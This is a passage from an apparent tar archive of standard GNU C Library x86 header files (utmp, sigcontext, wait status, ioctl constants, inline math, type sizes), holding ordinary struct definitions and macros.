#endif #include <paths.h> #include <sys/time.h> #include <sys/types.h> #include <bits/wordsize.h> #define UT_LINESIZE 32 #define UT_NAMESIZE 32 #define UT_HOSTSIZE 256 /* The structure describing an entry in the database of previous logins. */ struct lastlog { #if __WORDSIZE_TIME64_COMPAT32 int32_t ll_time; #else __time_t ll_time; #endif char ll_line[UT_LINESIZE]; char ll_host[UT_HOSTSIZE]; }; /* The structure describing the status of a terminated process. This type is used in `struct utmp' below. */ struct exit_status { short int e_termination; /* Process termination status. */ short int e_exit; /* Process exit status. */ }; /* The structure describing an entry in the user accounting database. */ struct utmp { short int ut_type; /* Type of login. */ pid_t ut_pid; /* Process ID of login process. */ char ut_line[UT_LINESIZE] __attribute_nonstring__; /* Devicename. */ char ut_id[4] __attribute_nonstring__; /* Inittab ID. */ char ut_user[UT_NAMESIZE] __attribute_nonstring__; /* Username. */ char ut_host[UT_HOSTSIZE] __attribute_nonstring__; /* Hostname for remote login. */ struct exit_status ut_exit; /* Exit status of a process marked as DEAD_PROCESS. */ /* The ut_session and ut_tv fields must be the same size when compiled 32- and 64-bit. This allows data files and shared memory to be shared between 32- and 64-bit applications. */ #if __WORDSIZE_TIME64_COMPAT32 int32_t ut_session; /* Session ID, used for windowing. */ struct { int32_t tv_sec; /* Seconds. */ int32_t tv_usec; /* Microseconds. */ } ut_tv; /* Time entry was made. */ #else long int ut_session; /* Session ID, used for windowing. */ struct timeval ut_tv; /* Time entry was made. */ #endif int32_t ut_addr_v6[4]; /* Internet address of remote host. */ char __glibc_reserved[20]; /* Reserved for future use. */ }; /* Backwards compatibility hacks. */ #define ut_name ut_user #ifndef _NO_UT_TIME /* We have a problem here: `ut_time' is also used otherwise. Define _NO_UT_TIME if the compiler complains. */ # define ut_time ut_tv.tv_sec #endif #define ut_xtime ut_tv.tv_sec #define ut_addr ut_addr_v6[0] /* Values for the `ut_type' field of a `struct utmp'. */ #define EMPTY 0 /* No valid user accounting information. */ #define RUN_LVL 1 /* The system's runlevel. */ #define BOOT_TIME 2 /* Time of system boot. */ #define NEW_TIME 3 /* Time after system clock changed. */ #define OLD_TIME 4 /* Time when system clock changed. */ #define INIT_PROCESS 5 /* Process spawned by the init process. */ #define LOGIN_PROCESS 6 /* Session leader of a logged in user. */ #define USER_PROCESS 7 /* Normal process. */ #define DEAD_PROCESS 8 /* Terminated process. */ #define ACCOUNTING 9 /* Old Linux name for the EMPTY type. */ #define UT_UNKNOWN EMPTY /* Tell the user that we have a modern system with UT_HOST, UT_PID, UT_TYPE, UT_ID and UT_TV fields. */ #define _HAVE_UT_TYPE 1 #define _HAVE_UT_PID 1 #define _HAVE_UT_ID 1 #define _HAVE_UT_TV 1 #define _HAVE_UT_HOST 1 bits/sigcontext.h 0000644 00000010250 15246445046 0010055 0 ustar 00 /* Copyright (C) 2002-2018 Free Software Foundation, Inc. This file is part of the GNU C Library. The GNU C Library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. The GNU C Library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with the GNU C Library; if not, see <http://www.gnu.org/licenses/>. */ #ifndef _BITS_SIGCONTEXT_H #define _BITS_SIGCONTEXT_H 1 #if !defined _SIGNAL_H && !defined _SYS_UCONTEXT_H # error "Never use <bits/sigcontext.h> directly; include <signal.h> instead." #endif #include <bits/types.h> #define FP_XSTATE_MAGIC1 0x46505853U #define FP_XSTATE_MAGIC2 0x46505845U #define FP_XSTATE_MAGIC2_SIZE sizeof(FP_XSTATE_MAGIC2) struct _fpx_sw_bytes { __uint32_t magic1; __uint32_t extended_size; __uint64_t xstate_bv; __uint32_t xstate_size; __uint32_t __glibc_reserved1[7]; }; struct _fpreg { unsigned short significand[4]; unsigned short exponent; }; struct _fpxreg { unsigned short significand[4]; unsigned short exponent; unsigned short __glibc_reserved1[3]; }; struct _xmmreg { __uint32_t element[4]; }; #ifndef __x86_64__ struct _fpstate { /* Regular FPU environment. */ __uint32_t cw; __uint32_t sw; __uint32_t tag; __uint32_t ipoff; __uint32_t cssel; __uint32_t dataoff; __uint32_t datasel; struct _fpreg _st[8]; unsigned short status; unsigned short magic; /* FXSR FPU environment. */ __uint32_t _fxsr_env[6]; __uint32_t mxcsr; __uint32_t __glibc_reserved1; struct _fpxreg _fxsr_st[8]; struct _xmmreg _xmm[8]; __uint32_t __glibc_reserved2[56]; }; #ifndef sigcontext_struct /* Kernel headers before 2.1.1 define a struct sigcontext_struct, but we need sigcontext. Some packages have come to rely on sigcontext_struct being defined on 32-bit x86, so define this for their benefit. */ # define sigcontext_struct sigcontext #endif #define X86_FXSR_MAGIC 0x0000 struct sigcontext { unsigned short gs, __gsh; unsigned short fs, __fsh; unsigned short es, __esh; unsigned short ds, __dsh; unsigned long edi; unsigned long esi; unsigned long ebp; unsigned long esp; unsigned long ebx; unsigned long edx; unsigned long ecx; unsigned long eax; unsigned long trapno; unsigned long err; unsigned long eip; unsigned short cs, __csh; unsigned long eflags; unsigned long esp_at_signal; unsigned short ss, __ssh; struct _fpstate * fpstate; unsigned long oldmask; unsigned long cr2; }; #else /* __x86_64__ */ struct _fpstate { /* FPU environment matching the 64-bit FXSAVE layout. */ __uint16_t cwd; __uint16_t swd; __uint16_t ftw; __uint16_t fop; __uint64_t rip; __uint64_t rdp; __uint32_t mxcsr; __uint32_t mxcr_mask; struct _fpxreg _st[8]; struct _xmmreg _xmm[16]; __uint32_t __glibc_reserved1[24]; }; struct sigcontext { __uint64_t r8; __uint64_t r9; __uint64_t r10; __uint64_t r11; __uint64_t r12; __uint64_t r13; __uint64_t r14; __uint64_t r15; __uint64_t rdi; __uint64_t rsi; __uint64_t rbp; __uint64_t rbx; __uint64_t rdx; __uint64_t rax; __uint64_t rcx; __uint64_t rsp; __uint64_t rip; __uint64_t eflags; unsigned short cs; unsigned short gs; unsigned short fs; unsigned short __pad0; __uint64_t err; __uint64_t trapno; __uint64_t oldmask; __uint64_t cr2; __extension__ union { struct _fpstate * fpstate; __uint64_t __fpstate_word; }; __uint64_t __reserved1 [8]; }; #endif /* __x86_64__ */ struct _xsave_hdr { __uint64_t xstate_bv; __uint64_t __glibc_reserved1[2]; __uint64_t __glibc_reserved2[5]; }; struct _ymmh_state { __uint32_t ymmh_space[64]; }; struct _xstate { struct _fpstate fpstate; struct _xsave_hdr xstate_hdr; struct _ymmh_state ymmh; }; #endif /* _BITS_SIGCONTEXT_H */ bits/waitstatus.h 0000644 00000004356 15246445046 0010110 0 ustar 00 /* Definitions of status bits for `wait' et al. Copyright (C) 1992-2018 Free Software Foundation, Inc. This file is part of the GNU C Library. The GNU C Library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. The GNU C Library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with the GNU C Library; if not, see <http://www.gnu.org/licenses/>. */ #if !defined _SYS_WAIT_H && !defined _STDLIB_H # error "Never include <bits/waitstatus.h> directly; use <sys/wait.h> instead." #endif /* Everything extant so far uses these same bits. */ /* If WIFEXITED(STATUS), the low-order 8 bits of the status. */ #define __WEXITSTATUS(status) (((status) & 0xff00) >> 8) /* If WIFSIGNALED(STATUS), the terminating signal. */ #define __WTERMSIG(status) ((status) & 0x7f) /* If WIFSTOPPED(STATUS), the signal that stopped the child. */ #define __WSTOPSIG(status) __WEXITSTATUS(status) /* Nonzero if STATUS indicates normal termination. */ #define __WIFEXITED(status) (__WTERMSIG(status) == 0) /* Nonzero if STATUS indicates termination by a signal. */ #define __WIFSIGNALED(status) \ (((signed char) (((status) & 0x7f) + 1) >> 1) > 0) /* Nonzero if STATUS indicates the child is stopped. */ #define __WIFSTOPPED(status) (((status) & 0xff) == 0x7f) /* Nonzero if STATUS indicates the child continued after a stop. We only define this if <bits/waitflags.h> provides the WCONTINUED flag bit. */ #ifdef WCONTINUED # define __WIFCONTINUED(status) ((status) == __W_CONTINUED) #endif /* Nonzero if STATUS indicates the child dumped core. */ #define __WCOREDUMP(status) ((status) & __WCOREFLAG) /* Macros for constructing status values. */ #define __W_EXITCODE(ret, sig) ((ret) << 8 | (sig)) #define __W_STOPCODE(sig) ((sig) << 8 | 0x7f) #define __W_CONTINUED 0xffff #define __WCOREFLAG 0x80 bits/ioctls.h 0000644 00000010575 15246445046 0007175 0 ustar 00 /* Copyright (C) 1996-2018 Free Software Foundation, Inc. This file is part of the GNU C Library. The GNU C Library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. The GNU C Library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with the GNU C Library; if not, see <http://www.gnu.org/licenses/>. */ #ifndef _SYS_IOCTL_H # error "Never use <bits/ioctls.h> directly; include <sys/ioctl.h> instead." #endif /* Use the definitions from the kernel header files. */ #include <asm/ioctls.h> /* Routing table calls. */ #define SIOCADDRT 0x890B /* add routing table entry */ #define SIOCDELRT 0x890C /* delete routing table entry */ #define SIOCRTMSG 0x890D /* call to routing system */ /* Socket configuration controls. */ #define SIOCGIFNAME 0x8910 /* get iface name */ #define SIOCSIFLINK 0x8911 /* set iface channel */ #define SIOCGIFCONF 0x8912 /* get iface list */ #define SIOCGIFFLAGS 0x8913 /* get flags */ #define SIOCSIFFLAGS 0x8914 /* set flags */ #define SIOCGIFADDR 0x8915 /* get PA address */ #define SIOCSIFADDR 0x8916 /* set PA address */ #define SIOCGIFDSTADDR 0x8917 /* get remote PA address */ #define SIOCSIFDSTADDR 0x8918 /* set remote PA address */ #define SIOCGIFBRDADDR 0x8919 /* get broadcast PA address */ #define SIOCSIFBRDADDR 0x891a /* set broadcast PA address */ #define SIOCGIFNETMASK 0x891b /* get network PA mask */ #define SIOCSIFNETMASK 0x891c /* set network PA mask */ #define SIOCGIFMETRIC 0x891d /* get metric */ #define SIOCSIFMETRIC 0x891e /* set metric */ #define SIOCGIFMEM 0x891f /* get memory address (BSD) */ #define SIOCSIFMEM 0x8920 /* set memory address (BSD) */ #define SIOCGIFMTU 0x8921 /* get MTU size */ #define SIOCSIFMTU 0x8922 /* set MTU size */ #define SIOCSIFNAME 0x8923 /* set interface name */ #define SIOCSIFHWADDR 0x8924 /* set hardware address */ #define SIOCGIFENCAP 0x8925 /* get/set encapsulations */ #define SIOCSIFENCAP 0x8926 #define SIOCGIFHWADDR 0x8927 /* Get hardware address */ #define SIOCGIFSLAVE 0x8929 /* Driver slaving support */ #define SIOCSIFSLAVE 0x8930 #define SIOCADDMULTI 0x8931 /* Multicast address lists */ #define SIOCDELMULTI 0x8932 #define SIOCGIFINDEX 0x8933 /* name -> if_index mapping */ #define SIOGIFINDEX SIOCGIFINDEX /* misprint compatibility :-) */ #define SIOCSIFPFLAGS 0x8934 /* set/get extended flags set */ #define SIOCGIFPFLAGS 0x8935 #define SIOCDIFADDR 0x8936 /* delete PA address */ #define SIOCSIFHWBROADCAST 0x8937 /* set hardware broadcast addr */ #define SIOCGIFCOUNT 0x8938 /* get number of devices */ #define SIOCGIFBR 0x8940 /* Bridging support */ #define SIOCSIFBR 0x8941 /* Set bridging options */ #define SIOCGIFTXQLEN 0x8942 /* Get the tx queue length */ #define SIOCSIFTXQLEN 0x8943 /* Set the tx queue length */ /* ARP cache control calls. */ /* 0x8950 - 0x8952 * obsolete calls, don't re-use */ #define SIOCDARP 0x8953 /* delete ARP table entry */ #define SIOCGARP 0x8954 /* get ARP table entry */ #define SIOCSARP 0x8955 /* set ARP table entry */ /* RARP cache control calls. */ #define SIOCDRARP 0x8960 /* delete RARP table entry */ #define SIOCGRARP 0x8961 /* get RARP table entry */ #define SIOCSRARP 0x8962 /* set RARP table entry */ /* Driver configuration calls */ #define SIOCGIFMAP 0x8970 /* Get device parameters */ #define SIOCSIFMAP 0x8971 /* Set device parameters */ /* DLCI configuration calls */ #define SIOCADDDLCI 0x8980 /* Create new DLCI device */ #define SIOCDELDLCI 0x8981 /* Delete DLCI device */ /* Device private ioctl calls. */ /* These 16 ioctls are available to devices via the do_ioctl() device vector. Each device should include this file and redefine these names as their own. Because these are device dependent it is a good idea _NOT_ to issue them to random objects and hope. */ #define SIOCDEVPRIVATE 0x89F0 /* to 89FF */ /* * These 16 ioctl calls are protocol private */ #define SIOCPROTOPRIVATE 0x89E0 /* to 89EF */ bits/mathinline.h 0000644 00000031327 15246445046 0010026 0 ustar 00 /* Inline math functions for i387 and SSE. Copyright (C) 1995-2018 Free Software Foundation, Inc. This file is part of the GNU C Library. The GNU C Library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. The GNU C Library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with the GNU C Library; if not, see <http://www.gnu.org/licenses/>. */ #ifndef _MATH_H # error "Never use <bits/mathinline.h> directly; include <math.h> instead." #endif #ifndef __extern_always_inline # define __MATH_INLINE __inline #else # define __MATH_INLINE __extern_always_inline #endif /* Disable x87 inlines when -fpmath=sse is passed and also when we're building on x86_64. Older gcc (gcc-3.2 for example) does not define __SSE2_MATH__ for x86_64. */ #if !defined __SSE2_MATH__ && !defined __x86_64__ # if ((!defined __NO_MATH_INLINES || defined __LIBC_INTERNAL_MATH_INLINES) \ && defined __OPTIMIZE__) /* The inline functions do not set errno or raise necessarily the correct exceptions. */ # undef math_errhandling /* A macro to define float, double, and long double versions of various math functions for the ix87 FPU. FUNC is the function name (which will be suffixed with f and l for the float and long double version, respectively). OP is the name of the FPU operation. We define two sets of macros. The set with the additional NP doesn't add a prototype declaration. */ # ifdef __USE_ISOC99 # define __inline_mathop(func, op) \ __inline_mathop_ (double, func, op) \ __inline_mathop_ (float, __CONCAT(func,f), op) \ __inline_mathop_ (long double, __CONCAT(func,l), op) # define __inline_mathopNP(func, op) \ __inline_mathopNP_ (double, func, op) \ __inline_mathopNP_ (float, __CONCAT(func,f), op) \ __inline_mathopNP_ (long double, __CONCAT(func,l), op) # else # define __inline_mathop(func, op) \ __inline_mathop_ (double, func, op) # define __inline_mathopNP(func, op) \ __inline_mathopNP_ (double, func, op) # endif # define __inline_mathop_(float_type, func, op) \ __inline_mathop_decl_ (float_type, func, op, "0" (__x)) # define __inline_mathopNP_(float_type, func, op) \ __inline_mathop_declNP_ (float_type, func, op, "0" (__x)) # ifdef __USE_ISOC99 # define __inline_mathop_decl(func, op, params...) \ __inline_mathop_decl_ (double, func, op, params) \ __inline_mathop_decl_ (float, __CONCAT(func,f), op, params) \ __inline_mathop_decl_ (long double, __CONCAT(func,l), op, params) # define __inline_mathop_declNP(func, op, params...) \ __inline_mathop_declNP_ (double, func, op, params) \ __inline_mathop_declNP_ (float, __CONCAT(func,f), op, params) \ __inline_mathop_declNP_ (long double, __CONCAT(func,l), op, params) # else # define __inline_mathop_decl(func, op, params...) \ __inline_mathop_decl_ (double, func, op, params) # define __inline_mathop_declNP(func, op, params...) \ __inline_mathop_declNP_ (double, func, op, params) # endif # define __inline_mathop_decl_(float_type, func, op, params...) \ __MATH_INLINE float_type func (float_type) __THROW; \ __inline_mathop_declNP_ (float_type, func, op, params) # define __inline_mathop_declNP_(float_type, func, op, params...) \ __MATH_INLINE float_type __NTH (func (float_type __x)) \ { \ register float_type __result; \ __asm __volatile__ (op : "=t" (__result) : params); \ return __result; \ } # ifdef __USE_ISOC99 # define __inline_mathcode(func, arg, code) \ __inline_mathcode_ (double, func, arg, code) \ __inline_mathcode_ (float, __CONCAT(func,f), arg, code) \ __inline_mathcode_ (long double, __CONCAT(func,l), arg, code) # define __inline_mathcodeNP(func, arg, code) \ __inline_mathcodeNP_ (double, func, arg, code) \ __inline_mathcodeNP_ (float, __CONCAT(func,f), arg, code) \ __inline_mathcodeNP_ (long double, __CONCAT(func,l), arg, code) # define __inline_mathcode2(func, arg1, arg2, code) \ __inline_mathcode2_ (double, func, arg1, arg2, code) \ __inline_mathcode2_ (float, __CONCAT(func,f), arg1, arg2, code) \ __inline_mathcode2_ (long double, __CONCAT(func,l), arg1, arg2, code) # define __inline_mathcodeNP2(func, arg1, arg2, code) \ __inline_mathcodeNP2_ (double, func, arg1, arg2, code) \ __inline_mathcodeNP2_ (float, __CONCAT(func,f), arg1, arg2, code) \ __inline_mathcodeNP2_ (long double, __CONCAT(func,l), arg1, arg2, code) # define __inline_mathcode3(func, arg1, arg2, arg3, code) \ __inline_mathcode3_ (double, func, arg1, arg2, arg3, code) \ __inline_mathcode3_ (float, __CONCAT(func,f), arg1, arg2, arg3, code) \ __inline_mathcode3_ (long double, __CONCAT(func,l), arg1, arg2, arg3, code) # define __inline_mathcodeNP3(func, arg1, arg2, arg3, code) \ __inline_mathcodeNP3_ (double, func, arg1, arg2, arg3, code) \ __inline_mathcodeNP3_ (float, __CONCAT(func,f), arg1, arg2, arg3, code) \ __inline_mathcodeNP3_ (long double, __CONCAT(func,l), arg1, arg2, arg3, code) # else # define __inline_mathcode(func, arg, code) \ __inline_mathcode_ (double, func, (arg), code) # define __inline_mathcodeNP(func, arg, code) \ __inline_mathcodeNP_ (double, func, (arg), code) # define __inline_mathcode2(func, arg1, arg2, code) \ __inline_mathcode2_ (double, func, arg1, arg2, code) # define __inline_mathcodeNP2(func, arg1, arg2, code) \ __inline_mathcodeNP2_ (double, func, arg1, arg2, code) # define __inline_mathcode3(func, arg1, arg2, arg3, code) \ __inline_mathcode3_ (double, func, arg1, arg2, arg3, code) # define __inline_mathcodeNP3(func, arg1, arg2, arg3, code) \ __inline_mathcodeNP3_ (double, func, arg1, arg2, arg3, code) # endif # define __inline_mathcode_(float_type, func, arg, code) \ __MATH_INLINE float_type func (float_type) __THROW; \ __inline_mathcodeNP_(float_type, func, arg, code) # define __inline_mathcodeNP_(float_type, func, arg, code) \ __MATH_INLINE float_type __NTH (func (float_type arg)) \ { \ code; \ } # define __inline_mathcode2_(float_type, func, arg1, arg2, code) \ __MATH_INLINE float_type func (float_type, float_type) __THROW; \ __inline_mathcodeNP2_ (float_type, func, arg1, arg2, code) # define __inline_mathcodeNP2_(float_type, func, arg1, arg2, code) \ __MATH_INLINE float_type __NTH (func (float_type arg1, float_type arg2)) \ { \ code; \ } # define __inline_mathcode3_(float_type, func, arg1, arg2, arg3, code) \ __MATH_INLINE float_type func (float_type, float_type, float_type) __THROW; \ __inline_mathcodeNP3_(float_type, func, arg1, arg2, arg3, code) # define __inline_mathcodeNP3_(float_type, func, arg1, arg2, arg3, code) \ __MATH_INLINE float_type __NTH (func (float_type arg1, float_type arg2, \ float_type arg3)) \ { \ code; \ } # endif # if !defined __NO_MATH_INLINES && defined __OPTIMIZE__ /* Miscellaneous functions */ /* __FAST_MATH__ is defined by gcc -ffast-math. */ # ifdef __FAST_MATH__ /* Optimized inline implementation, sometimes with reduced precision and/or argument range. */ # if __GNUC_PREREQ (3, 5) # define __expm1_code \ register long double __temp; \ __temp = __builtin_expm1l (__x); \ return __temp ? __temp : __x # else # define __expm1_code \ register long double __value; \ register long double __exponent; \ register long double __temp; \ __asm __volatile__ \ ("fldl2e # e^x - 1 = 2^(x * log2(e)) - 1\n\t" \ "fmul %%st(1) # x * log2(e)\n\t" \ "fst %%st(1)\n\t" \ "frndint # int(x * log2(e))\n\t" \ "fxch\n\t" \ "fsub %%st(1) # fract(x * log2(e))\n\t" \ "f2xm1 # 2^(fract(x * log2(e))) - 1\n\t" \ "fscale # 2^(x * log2(e)) - 2^(int(x * log2(e)))\n\t" \ : "=t" (__value), "=u" (__exponent) : "0" (__x)); \ __asm __volatile__ \ ("fscale # 2^int(x * log2(e))\n\t" \ : "=t" (__temp) : "0" (1.0), "u" (__exponent)); \ __temp -= 1.0; \ __temp += __value; \ return __temp ? __temp : __x # endif __inline_mathcodeNP_ (long double, __expm1l, __x, __expm1_code) # if __GNUC_PREREQ (3, 4) __inline_mathcodeNP_ (long double, __expl, __x, return __builtin_expl (__x)) # else # define __exp_code \ register long double __value; \ register long double __exponent; \ __asm __volatile__ \ ("fldl2e # e^x = 2^(x * log2(e))\n\t" \ "fmul %%st(1) # x * log2(e)\n\t" \ "fst %%st(1)\n\t" \ "frndint # int(x * log2(e))\n\t" \ "fxch\n\t" \ "fsub %%st(1) # fract(x * log2(e))\n\t" \ "f2xm1 # 2^(fract(x * log2(e))) - 1\n\t" \ : "=t" (__value), "=u" (__exponent) : "0" (__x)); \ __value += 1.0; \ __asm __volatile__ \ ("fscale" \ : "=t" (__value) : "0" (__value), "u" (__exponent)); \ return __value __inline_mathcodeNP (exp, __x, __exp_code) __inline_mathcodeNP_ (long double, __expl, __x, __exp_code) # endif # endif /* __FAST_MATH__ */ # ifdef __FAST_MATH__ # if !__GNUC_PREREQ (3,3) __inline_mathopNP (sqrt, "fsqrt") __inline_mathopNP_ (long double, __sqrtl, "fsqrt") # define __libc_sqrtl(n) __sqrtl (n) # else # define __libc_sqrtl(n) __builtin_sqrtl (n) # endif # endif # if __GNUC_PREREQ (2, 8) __inline_mathcodeNP_ (double, fabs, __x, return __builtin_fabs (__x)) # ifdef __USE_ISOC99 __inline_mathcodeNP_ (float, fabsf, __x, return __builtin_fabsf (__x)) __inline_mathcodeNP_ (long double, fabsl, __x, return __builtin_fabsl (__x)) # endif __inline_mathcodeNP_ (long double, __fabsl, __x, return __builtin_fabsl (__x)) # else __inline_mathop (fabs, "fabs") __inline_mathop_ (long double, __fabsl, "fabs") # endif __inline_mathcode_ (long double, __sgn1l, __x, \ __extension__ union { long double __xld; unsigned int __xi[3]; } __n = \ { __xld: __x }; \ __n.__xi[2] = (__n.__xi[2] & 0x8000) | 0x3fff; \ __n.__xi[1] = 0x80000000; \ __n.__xi[0] = 0; \ return __n.__xld) # ifdef __FAST_MATH__ /* The argument range of the inline version of sinhl is slightly reduced. */ __inline_mathcodeNP (sinh, __x, \ register long double __exm1 = __expm1l (__fabsl (__x)); \ return 0.5 * (__exm1 / (__exm1 + 1.0) + __exm1) * __sgn1l (__x)) __inline_mathcodeNP (cosh, __x, \ register long double __ex = __expl (__x); \ return 0.5 * (__ex + 1.0 / __ex)) __inline_mathcodeNP (tanh, __x, \ register long double __exm1 = __expm1l (-__fabsl (__x + __x)); \ return __exm1 / (__exm1 + 2.0) * __sgn1l (-__x)) # endif /* Optimized versions for some non-standardized functions. */ # ifdef __USE_ISOC99 # ifdef __FAST_MATH__ __inline_mathcodeNP (expm1, __x, __expm1_code) /* The argument range of the inline version of asinhl is slightly reduced. */ __inline_mathcodeNP (asinh, __x, \ register long double __y = __fabsl (__x); \ return (log1pl (__y * __y / (__libc_sqrtl (__y * __y + 1.0) + 1.0) + __y) \ * __sgn1l (__x))) __inline_mathcodeNP (acosh, __x, \ return logl (__x + __libc_sqrtl (__x - 1.0) * __libc_sqrtl (__x + 1.0))) __inline_mathcodeNP (atanh, __x, \ register long double __y = __fabsl (__x); \ return -0.5 * log1pl (-(__y + __y) / (1.0 + __y)) * __sgn1l (__x)) /* The argument range of the inline version of hypotl is slightly reduced. */ __inline_mathcodeNP2 (hypot, __x, __y, return __libc_sqrtl (__x * __x + __y * __y)) # endif # endif /* Undefine some of the large macros which are not used anymore. */ # ifdef __FAST_MATH__ # undef __expm1_code # undef __exp_code # endif /* __FAST_MATH__ */ # endif /* __NO_MATH_INLINES */ /* This code is used internally in the GNU libc. */ # ifdef __LIBC_INTERNAL_MATH_INLINES __inline_mathcode2_ (long double, __ieee754_atan2l, __y, __x, register long double __value; __asm __volatile__ ("fpatan\n\t" : "=t" (__value) : "0" (__x), "u" (__y) : "st(1)"); return __value;) # endif #endif /* !__SSE2_MATH__ && !__x86_64__ */ bits/siginfo-arch.h 0000644 00000001331 15246445046 0010237 0 ustar 00 /* Architecture-specific adjustments to siginfo_t. x86 version. */ #ifndef _BITS_SIGINFO_ARCH_H #define _BITS_SIGINFO_ARCH_H 1 #if defined __x86_64__ && __WORDSIZE == 32 /* si_utime and si_stime must be 4 byte aligned for x32 to match the kernel. We align siginfo_t to 8 bytes so that si_utime and si_stime are actually aligned to 8 bytes since their offsets are multiple of 8 bytes. Note: with some compilers, the alignment attribute would be ignored if it were put in __SI_CLOCK_T instead of encapsulated in a typedef. */ typedef __clock_t __attribute__ ((__aligned__ (4))) __sigchld_clock_t; # define __SI_ALIGNMENT __attribute__ ((__aligned__ (8))) # define __SI_CLOCK_T __sigchld_clock_t #endif #endif bits/printf-ldbl.h 0000644 00000001737 15246445046 0010115 0 ustar 00 /* -mlong-double-64 compatibility mode for <printf.h> functions. Copyright (C) 2006-2018 Free Software Foundation, Inc. This file is part of the GNU C Library. The GNU C Library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. The GNU C Library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with the GNU C Library; if not, see <http://www.gnu.org/licenses/>. */ #ifndef _PRINTF_H # error "Never include <bits/printf-ldbl.h> directly; use <printf.h> instead." #endif __LDBL_REDIR_DECL (printf_size) bits/typesizes.h 0000644 00000006505 15246445046 0007735 0 ustar 00 /* bits/typesizes.h -- underlying types for *_t. Linux/x86-64 version. Copyright (C) 2012-2018 Free Software Foundation, Inc. This file is part of the GNU C Library. The GNU C Library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. The GNU C Library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with the GNU C Library; if not, see <http://www.gnu.org/licenses/>. */ #ifndef _BITS_TYPES_H # error "Never include <bits/typesizes.h> directly; use <sys/types.h> instead." #endif #ifndef _BITS_TYPESIZES_H #define _BITS_TYPESIZES_H 1 /* See <bits/types.h> for the meaning of these macros. This file exists so that <bits/types.h> need not vary across different GNU platforms. */ /* X32 kernel interface is 64-bit. */ #if defined __x86_64__ && defined __ILP32__ # define __SYSCALL_SLONG_TYPE __SQUAD_TYPE # define __SYSCALL_ULONG_TYPE __UQUAD_TYPE #else # define __SYSCALL_SLONG_TYPE __SLONGWORD_TYPE # define __SYSCALL_ULONG_TYPE __ULONGWORD_TYPE #endif #define __DEV_T_TYPE __UQUAD_TYPE #define __UID_T_TYPE __U32_TYPE #define __GID_T_TYPE __U32_TYPE #define __INO_T_TYPE __SYSCALL_ULONG_TYPE #define __INO64_T_TYPE __UQUAD_TYPE #define __MODE_T_TYPE __U32_TYPE #ifdef __x86_64__ # define __NLINK_T_TYPE __SYSCALL_ULONG_TYPE # define __FSWORD_T_TYPE __SYSCALL_SLONG_TYPE #else # define __NLINK_T_TYPE __UWORD_TYPE # define __FSWORD_T_TYPE __SWORD_TYPE #endif #define __OFF_T_TYPE __SYSCALL_SLONG_TYPE #define __OFF64_T_TYPE __SQUAD_TYPE #define __PID_T_TYPE __S32_TYPE #define __RLIM_T_TYPE __SYSCALL_ULONG_TYPE #define __RLIM64_T_TYPE __UQUAD_TYPE #define __BLKCNT_T_TYPE __SYSCALL_SLONG_TYPE #define __BLKCNT64_T_TYPE __SQUAD_TYPE #define __FSBLKCNT_T_TYPE __SYSCALL_ULONG_TYPE #define __FSBLKCNT64_T_TYPE __UQUAD_TYPE #define __FSFILCNT_T_TYPE __SYSCALL_ULONG_TYPE #define __FSFILCNT64_T_TYPE __UQUAD_TYPE #define __ID_T_TYPE __U32_TYPE #define __CLOCK_T_TYPE __SYSCALL_SLONG_TYPE #define __TIME_T_TYPE __SYSCALL_SLONG_TYPE #define __USECONDS_T_TYPE __U32_TYPE #define __SUSECONDS_T_TYPE __SYSCALL_SLONG_TYPE #define __DADDR_T_TYPE __S32_TYPE #define __KEY_T_TYPE __S32_TYPE #define __CLOCKID_T_TYPE __S32_TYPE #define __TIMER_T_TYPE void * #define __BLKSIZE_T_TYPE __SYSCALL_SLONG_TYPE #define __FSID_T_TYPE struct { int __val[2]; } #define __SSIZE_T_TYPE __SWORD_TYPE #define __CPU_MASK_TYPE __SYSCALL_ULONG_TYPE #ifdef __x86_64__ /* Tell the libc code that off_t and off64_t are actually the same type for all ABI purposes, even if possibly expressed as different base types for C type-checking purposes. */ # define __OFF_T_MATCHES_OFF64_T 1 /* Same for ino_t and ino64_t. */ # define __INO_T_MATCHES_INO64_T 1 /* And for __rlim_t and __rlim64_t. */ # define __RLIM_T_MATCHES_RLIM64_T 1 #else # define __RLIM_T_MATCHES_RLIM64_T 0 #endif /* Number of descriptors that can fit in an `fd_set'. */ #define __FD_SETSIZE 1024 #endif /* bits/typesizes.h */ bits/sigevent-consts.h 0000644 00000002676 15246445046 0011036 0 ustar 00 /* sigevent constants. Linux version. Copyright (C) 1997-2018 Free Software Foundation, Inc. This file is part of the GNU C Library. The GNU C Library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser 